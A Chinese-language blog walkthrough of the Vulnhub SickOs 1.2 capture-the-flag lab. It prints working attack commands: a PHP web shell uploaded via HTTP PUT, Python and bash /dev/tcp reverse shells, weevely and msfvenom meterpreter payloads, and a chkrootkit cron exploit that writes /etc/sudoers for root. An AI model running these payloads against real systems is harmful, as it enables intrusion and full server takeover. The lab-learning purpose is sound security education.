【甄选靶场】Vulnhub百个项目渗透——项目十三:SickOs 1.2(防火墙绕过,计划任务写入)

Vulnhub百个项目渗透

Vulnhub百个项目渗透——项目十三:SickOs 1.2(防火墙绕过,计划任务写入)

靶场地址
🔥系列专栏:Vulnhub百个项目渗透
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年9月14日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!


前言

本文章仅用作实验学习,实验环境均为自行搭建的公开vuinhub靶场,仅使用kali虚拟机作为操作学习工具。本文仅用作学习记录,不做任何导向。请勿在现实环境中模仿,操作。


一、梳理流程

  1. 端口发现(看看使用了哪些端口,开启了什么服务,寻找突破点)
  2. 信息收集(利用遍历,关键词搜索等方式对敏感文件,插件尝试访问,寻求突破并获取shell)
  3. 二次收集(基于已得到的服务或者主机再次信息收集)
  4. 内网提权(尝试利用内核,各种版本漏洞等方式来提升权限)
  5. 毁尸灭迹(清除日志等文件,但是靶场就没必要了,拿旗就走)

二、使用步骤

1.服务发现

(我称为,脆弱点获取)
通常有如下几步:

  1. 端口爆破,基本服务信息获取
  2. 挨个端口访问,寻找第一次突破口
  3. web页面信息收集,寻求更大突破
  4. 具体服务突破

端口爆破

nmap -sP 192.168.247.0/24
nmap sS sV -A -T5 192.168.247.142

在这里插入图片描述

显示开放了22,80端口,并且,80端口采用了lighttpd1.4.28,谷歌先行搜索,发现存在脆弱点

nikto 192.168.247.142  --简单的漏洞扫描一下,发现并不存在漏洞,接下来进行页面的信息收集

在这里插入图片描述

访问页面发现一张图片,那么可能存在图片的16进制信息,我们下载到本地,分析一下

strings blow.jpg

在这里插入图片描述

发现啥也没有,那么就只能爆破一下目录了

在这里插入图片描述

爆破出一个目录

在这里插入图片描述

发现存在文件读取,那么就要想想,存在文件读取,我们能不能文件上传,那么在页面抓包分析一下

2.WEB突破

在这里插入图片描述

可以看到,我们将请求头改成PUT依旧可以正常,那么我们尝试写入字符到一个php文件下

在这里插入图片描述

响应值200,证明文件可写入

在这里插入图片描述
在这里插入图片描述

1.利用写入获取shell

将请求头改成了OPTIONS,利用curl访问,我们知道了哪些请求头可以利用

紧接着,写入一句话到shell.php中

curl -v -X PUT -d '<?php system($_GET["cmd"]);?>' http://192.168.247.142/test/shell.php

然后再url框中输入?cmd=ls

代表着ls作为cmd变量的一个参数带入shell.php文件

然后再作为一个命令参数去执行

在这里插入图片描述

查看一下是否安装了python,因为如果安装了python就可以有很多的方便

 ?cmd=which python

在这里插入图片描述

这里其实我们已经拿到shell了,只需要回弹端口监听,就可以获得正常的shell
所以输入:

nc -vlp 6677
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.247.129",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

在这里插入图片描述

但是收不到端口的监听,看看页面,也没有报错,而是在一直转圈圈,说明命令没有错,shell没有错,而是找不到路,说明这个一定配置了不出网的防火墙,但是一定也有端口开放,不然这个靶场还打个鸡毛打,那就换一个方法

在这里插入图片描述

2.利用weevely获取shell
weevely generate pass1234 rong.php     --生成php木马文件

curl --upload-file rong.php -v --url http://192.168.247.142/test/dayu.php -0

--upload-file  ---上传
-0   ---因为要接入http1.0或者http2,-0是自动会选择!

访问:http://192.168.247.142/test
发现成功上传!

weevely http://192.168.247.142/test/rong.php passrong
成功获得反弹shell!

curl --upload-file linpeas.sh -v --url http://192.168.247.142/test/linpeas.sh -0    --上传信息搜集脚本,为下一步去做准备


在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

但是运行不显示结果,可能是weevely终端端的问题,可以手工信息收集,但我偏不,我要再找一个shell,这一次我选择了msf生成一个php回连,让他找我

在这里插入图片描述

3. 使用msf获取shell

使用步骤:

  1. 生成木马

  2. 2.msf中连接木马以及相关设置

  3. 生成木马:

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.10.128 LPORT=7777 -f raw > shell.php
---生成
curl -v -H 'Expect:' -T shell.php "http://192.168.247.142/test/"
---上传
  1. 本机配置木马
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.247.129
msf6 exploit(multi/handler) > set lport 443
msf6 exploit(multi/handler) > run

meterpreter > shell
--这个地方输入shell之后是空的,直接输命令即可

python -c 'import pty;pty.spawn("/bin/bash")'

www-data@ubuntu:/var/www/test$   --拿到shell
./linpeas.sh 
开始检查

在这里插入图片描述

3.提权

信息二次收集

1.手工法(经典三问)

在这里插入图片描述

2.脚本法

我用这个,不为什么,就为了那个花花绿绿的颜色
在这里插入图片描述

可以内核提权

在这里插入图片描述

计划任务突破

发现daily字样的计划任务,按照root运行

在这里插入图片描述

发现一个sudo权限运行的用户

刚才发现了一个叫cron什么的一个计划任务,我们这里全局搜索一下,看看能不能找到他的crontab,那个是他的计划任务命令

linux 系统则是由 cron (crond) 这个系统服务来控制的。Linux
系统上面原本就有非常多的计划性工作,因此这个系统服务是默认启动的。另 外, 由于使用者自己也可以设置计划任务,所以, Linux
系统也提供了使用者控制计划任务的命令 :crontab 命令。

1.计划任务文件搜索,寻求写入方法
find / -name cron* 2>/dev/null
--全局搜索cron开头的名字,不显示报错信息

在这里插入图片描述

搜索到了三个计划任务,挨个看看

在这里插入图片描述

在cron.daily中我们发现了chrootkit这样一个东西,我们知道他是用来定时清除木马一类的东西

Rootkit是一个特殊的恶意软件,它可隐藏自身以及指定的文件、进程、网络、链接、端口等信息。Rootkit可通过加载特殊的驱动修改系统内核,进而达到隐藏信息的目的。Rootkit的三要素就是:隐藏、操纵、收集数据。
Rootkit具有隐身功能,无论静止时作为文件存在,还是活动时作为进程存在,都不会被察觉,它可能永远存在于计算机中。

在这里插入图片描述

同样的,我们也搜索一下这个文件相关

在这里插入图片描述

第一个是配置信息,第二个是环境变量信息
暂时不是很想访问它,看一下版本号直接提权了应该(因为计划任务是root走的,这个在计划任务里,我们只要能写入到这个东西里面,应该就可以按时按照root运行)

在这里插入图片描述

searchsploit chkrootkit 0.49
locate /linux/local/33899.txt
cp /usr/share/exploitdb/exploits/linux/local/33899.txt .
----注意最后有个点,代表当前目录

在这里插入图片描述

那个txt是漏洞介绍啊利用啊这样子的,太长,朕不阅,直接翻译
告诉我们/tmp只要能写入,并且按照root运行,我们就可以顺顺利利的提权

方法1:chkrootkit提权
printf '#!/bin/bash\nbash -i >& /dev/tcp/192.168.247.129/443 0>&1\n' >> /tmp/update
chmod 777 /tmp/update
nc -nlvp 443

在这里插入图片描述

方法二:计划任务添加sudo用户

这个要先把之前试验过的update删掉,不然出不来
然后我是先截的图放过来然后再去kali继续做的,这个图不见了,见谅哈

rm -rf update --删除之前操作过的update文件
给对方www-data加入sudo权限:
echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD: ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update
chmod +x /tmp/update

ls -la /etc/sudoers   ---过几分钟查看
sudo su          ----成功获得root权限
方法三:msf上线
msfvenom -p linux/x86/meterpreter/reverse_tcp -f elf LHOST=10.211.55.19 LPORT=443 -o dayu.elf

use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set lport 443
set lhost 10.211.55.19
exploit -j

python -m SimpleHTTPServer 443
wget http://10.211.55.19:443/dayu.elf
mv dayu.elf /tmp/update
chmod +x update

4.防火墙查看

cd ~/
cat newRule

:INPUT DROP [0:0]
:FORWARD ACCEPT [0:0]
:OUTPUT DROP [0:0]
-A INPUT -p tcp -m tcp --dport 22 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 80 -j ACCEPT
-A INPUT -p tcp -m tcp --sport 8080 -j ACCEPT
-A INPUT -p tcp -m tcp --sport 443 -j ACCEPT
-A OUTPUT -p tcp -m tcp --sport 22 -j ACCEPT
-A OUTPUT -p tcp -m tcp --sport 80 -j ACCEPT
-A OUTPUT -p tcp -m tcp --dport 8080 -j ACCEPT
-A OUTPUT -p tcp -m tcp --dport 443 -j ACCEPT
COMMIT

只有端口22、80、443、8080允许通过防火墙!

  • 4
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 4
    评论
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

人间体佐菲

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值